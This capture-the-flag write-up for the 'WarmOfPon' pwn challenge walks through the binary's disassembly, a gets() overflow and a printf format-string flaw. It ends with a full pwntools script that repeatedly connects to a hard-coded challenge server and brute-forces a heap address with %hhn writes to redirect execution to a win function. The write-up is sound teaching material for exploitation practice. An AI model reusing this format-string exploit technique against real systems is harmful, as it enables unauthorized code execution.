# pwn/WarmOfPon Decompiling using ghidra: ```clike undefined8 main(void) { void *pvVar1; undefined8 unaff_retaddr; char local_28 [24]; ulong local_10; setup(); pvVar1 = malloc(8); *(undefined8 *)((ulong)pvVar1 & 0xfffffffffffff000) = unaff_retaddr; gets(local_28); printf(local_28); for (local_10 = 0; local_10 < 0x21; local_10 = local_10 + 1) { } return 0; } ``` ![:meow_clorox:](https://slackmojis.com/emojis/30804-meow_clorox/download) You would get a mess. Instead, lets look at the disassembly directly: ```asm 00000000004011dd <main>: 4011dd: 55 push %rbp 4011de: 48 89 e5 mov %rsp,%rbp 4011e1: 48 83 ec 30 sub $0x30,%rsp 4011e5: b8 00 00 00 00 mov $0x0,%eax 4011ea: e8 77 ff ff ff call 401166 <setup> 4011ef: 48 c7 45 d8 00 00 00 movq $0x0,-0x28(%rbp) 4011f6: 00 4011f7: bf 08 00 00 00 mov $0x8,%edi 4011fc: e8 5f fe ff ff call 401060 <malloc@plt> 401201: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax 401207: 48 89 c2 mov %rax,%rdx 40120a: 48 8d 45 d8 lea -0x28(%rbp),%rax 40120e: 48 2d 60 09 00 00 sub $0x960,%rax 401214: 48 89 10 mov %rdx,(%rax) 401217: 48 8d 45 d8 lea -0x28(%rbp),%rax 40121b: 48 83 c0 30 add $0x30,%rax 40121f: 48 8b 10 mov (%rax),%rdx 401222: 48 8d 45 d8 lea -0x28(%rbp),%rax 401226: 48 2d 60 09 00 00 sub $0x960,%rax 40122c: 48 8b 00 mov (%rax),%rax 40122f: 48 89 10 mov %rdx,(%rax) 401232: 48 8d 45 e0 lea -0x20(%rbp),%rax 401236: 48 89 c7 mov %rax,%rdi 401239: b8 00 00 00 00 mov $0x0,%eax 40123e: e8 0d fe ff ff call 401050 <gets@plt> 401243: 48 8d 45 e0 lea -0x20(%rbp),%rax 401247: 48 89 c7 mov %rax,%rdi 40124a: b8 00 00 00 00 mov $0x0,%eax 40124f: e8 ec fd ff ff call 401040 <printf@plt> 401254: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp) 40125b: 00 40125c: eb 4b jmp 4012a9 <main+0xcc> 40125e: 48 8d 45 d8 lea -0x28(%rbp),%rax 401262: 48 2d 60 09 00 00 sub $0x960,%rax 401268: 48 8b 00 mov (%rax),%rax 40126b: 48 8b 55 f8 mov -0x8(%rbp),%rdx 40126f: 48 c1 e2 0c shl $0xc,%rdx 401273: 48 01 d0 add %rdx,%rax 401276: 48 8b 00 mov (%rax),%rax 401279: 48 85 c0 test %rax,%rax 40127c: 74 26 je 4012a4 <main+0xc7> 40127e: 48 8d 45 d8 lea -0x28(%rbp),%rax 401282: 48 2d 60 09 00 00 sub $0x960,%rax 401288: 48 8b 00 mov (%rax),%rax 40128b: 48 8b 55 f8 mov -0x8(%rbp),%rdx 40128f: 48 c1 e2 0c shl $0xc,%rdx 401293: 48 01 d0 add %rdx,%rax 401296: 48 8b 10 mov (%rax),%rdx 401299: 48 8d 45 d8 lea -0x28(%rbp),%rax 40129d: 48 83 c0 30 add $0x30,%rax 4012a1: 48 89 10 mov %rdx,(%rax) 4012a4: 48 83 45 f8 01 addq $0x1,-0x8(%rbp) 4012a9: 48 83 7d f8 20 cmpq $0x20,-0x8(%rbp) 4012ae: 76 ae jbe 40125e <main+0x81> 4012b0: b8 00 00 00 00 mov $0x0,%eax 4012b5: c9 leave 4012b6: c3 ret ``` We can see that the code use the following sequence of instructions to compute address of stack variables: ```asm ... lea -0x28(%rbp),%rax sub $offset,%rax ... ``` which seems to confuse ghidra probably because 1: What could be done with just a `lea` instruction is splited into a `lea` instruction and a `sub` instruction. 2: Sometimes, offset is set to 0x960 and the stack address calculated is way below the rsp pointer. We should look at the disassembly code bits by bits (Skipping function prologue and epilogue): 1. This allocate 8 bytes using malloc, page aligned the return pointer and stash the result into rdx. Essentially, a pointer to a page on the heap is stashed into rdx ```asm 4011f7: bf 08 00 00 00 mov $0x8,%edi 4011fc: e8 5f fe ff ff call 401060 <malloc@plt> 401201: 48 25 00 f0 ff ff and $0xfffffffffffff000,%rax 401207: 48 89 c2 mov %rax,%rdx ``` 2. The pointer to the page on the heap in rdx is stored at "offset" 0x960 on the stack. ```asm 40120a: 48 8d 45 d8 lea -0x28(%rbp),%rax 40120e: 48 2d 60 09 00 00 sub $0x960,%rax 401214: 48 89 10 mov %rdx,(%rax) ``` 3. Saved rip is loaded into rdx. ```asm 401217: 48 8d 45 d8 lea -0x28(%rbp),%rax 40121b: 48 83 c0 30 add $0x30,%rax 40121f: 48 8b 10 mov (%rax),%rdx ``` 4. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax. ```asm 401222: 48 8d 45 d8 lea -0x28(%rbp),%rax 401226: 48 2d 60 09 00 00 sub $0x960,%rax 40122c: 48 8b 00 mov (%rax),%rax ``` 5. Saved rip in rdx is stored into the first machine word in the page on the heap ```asm 40122f: 48 89 10 mov %rdx,(%rax) ``` 6. The function `gets` is called on a stack buffer at 0x20(%rbp). (**Buffer Overflow Vulnerability**) ```asm 401232: 48 8d 45 e0 lea -0x20(%rbp),%rax 401236: 48 89 c7 mov %rax,%rdi 401239: b8 00 00 00 00 mov $0x0,%eax 40123e: e8 0d fe ff ff call 401050 <gets@plt> ``` 7. The function `printf` is called on the same stack buffer at 0x20(%rbp). (**Format String Exploit**) ```asm 401243: 48 8d 45 e0 lea -0x20(%rbp),%rax 401247: 48 89 c7 mov %rax,%rdi 40124a: b8 00 00 00 00 mov $0x0,%eax 40124f: e8 ec fd ff ff call 401040 <printf@plt> ``` 8. Zero counter variable on the stack at -0x8(%rbp). Jump into the loop. ```asm 401254: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp) 40125b: 00 40125c: eb 4b jmp 4012a9 <main+0xcc> ``` 9. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax again. ```asm 40125e: 48 8d 45 d8 lea -0x28(%rbp),%rax 401262: 48 2d 60 09 00 00 sub $0x960,%rax 401268: 48 8b 00 mov (%rax),%rax ``` 10. Compute the pointer to the page that is `counter` pages from the our pointer to the page on the heap, and load the first machine word from the page into rax. ```asm 40126b: 48 8b 55 f8 mov -0x8(%rbp),%rdx 40126f: 48 c1 e2 0c shl $0xc,%rdx 401273: 48 01 d0 add %rdx,%rax 401276: 48 8b 00 mov (%rax),%rax ``` 11. Continue to the next iteration of the loop if the loaded machine word is zero. ```asm 401279: 48 85 c0 test %rax,%rax 40127c: 74 26 je 4012a4 <main+0xc7> ``` 12. The pointer to the page on the heap stored at "offset" 0x960 on the stack is loaded back into rax yet again. ```asm 40127e: 48 8d 45 d8 lea -0x28(%rbp),%rax 401282: 48 2d 60 09 00 00 sub $0x960,%rax 401288: 48 8b 00 mov (%rax),%rax ``` 13. Again, compute the pointer to the page that is `counter` pages from the our pointer to the page on the heap, and load the first machine word, which we have verified to be non-zero, from the page into rax. ```asm 40128b: 48 8b 55 f8 mov -0x8(%rbp),%rdx 40128f: 48 c1 e2 0c shl $0xc,%rdx 401293: 48 01 d0 add %rdx,%rax 401296: 48 8b 10 mov (%rax),%rdx ``` 14. Overwrite the saved rip with the loaded machine word ```asm 401299: 48 8d 45 d8 lea -0x28(%rbp),%rax 40129d: 48 83 c0 30 add $0x30,%rax 4012a1: 48 89 10 mov %rdx,(%rax) ``` 15. Increment counter variable on the stack at -0x8(%rbp). Stop the loop if the counter is greater than 0x20. ```asm 4012a4: 48 83 45 f8 01 addq $0x1,-0x8(%rbp) 4012a9: 48 83 7d f8 20 cmpq $0x20,-0x8(%rbp) 4012ae: 76 ae jbe 40125e <main+0x81> ``` Essentialy, the program would check the first machine word from 0x20 heap pages, and if any of them are non-zero, use it to overwrite the return pointer. As it turns out, such address are brute-forceable and could take advantage of format string exploit the overwrite the first machine word from some heap page. The final question is where do we return to. As it turns out the challenge binary provided a `win` function that would invoke `system("cat flag.txt")` for us. Sanity check: ```shell $ checksec --file=warm_of_pon RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 33 Symbols No 0 2 warm_of_pon ``` PIE is not enabled so we do not need to leak any address. # Solution ```python #!/usr/bin/env python3 from pwn import * context.binary = binary = "./warm_of_pon" for i in range(1000): try: e = ELF(binary) #c = gdb.debug(binary) c = remote("172.105.246.203", 1339) def ret_to(address, value): # Let's write byte by byte value_addresses = [address + i for i in range(8)] value_bytes = list(value.to_bytes(8, 'little')) # Some magic to construct the format string payload automatically actions = list(zip(value_addresses, value_bytes)) actions.sort(key=lambda x: x[1]) payload = b"" for i in range(8): prev_byte = actions[i-1][1] if i != 0 else 0 curr_byte = actions[i][1] delta_byte = curr_byte - prev_byte if delta_byte != 0: payload += f"%{delta_byte}x".encode() payload += f"%{18+i}$hhn".encode() payload += b"marker" payload += b"\x00" payload = payload.ljust(80) for i in range(8): address = actions[i][0] payload += p64(address) c.sendline(payload) c.recvuntil(b"marker") # Guess for valid heap page address address = 0x1321000 main = 0x4011dd win = 0x4011c7 # Return twice to fix stack alignment for system ret_to(address, main) ret_to(address, win) result = c.clean(0.1) print(f"Trial {i} => {result}") except EOFError: print(f"Trial {i} => EOFError") ```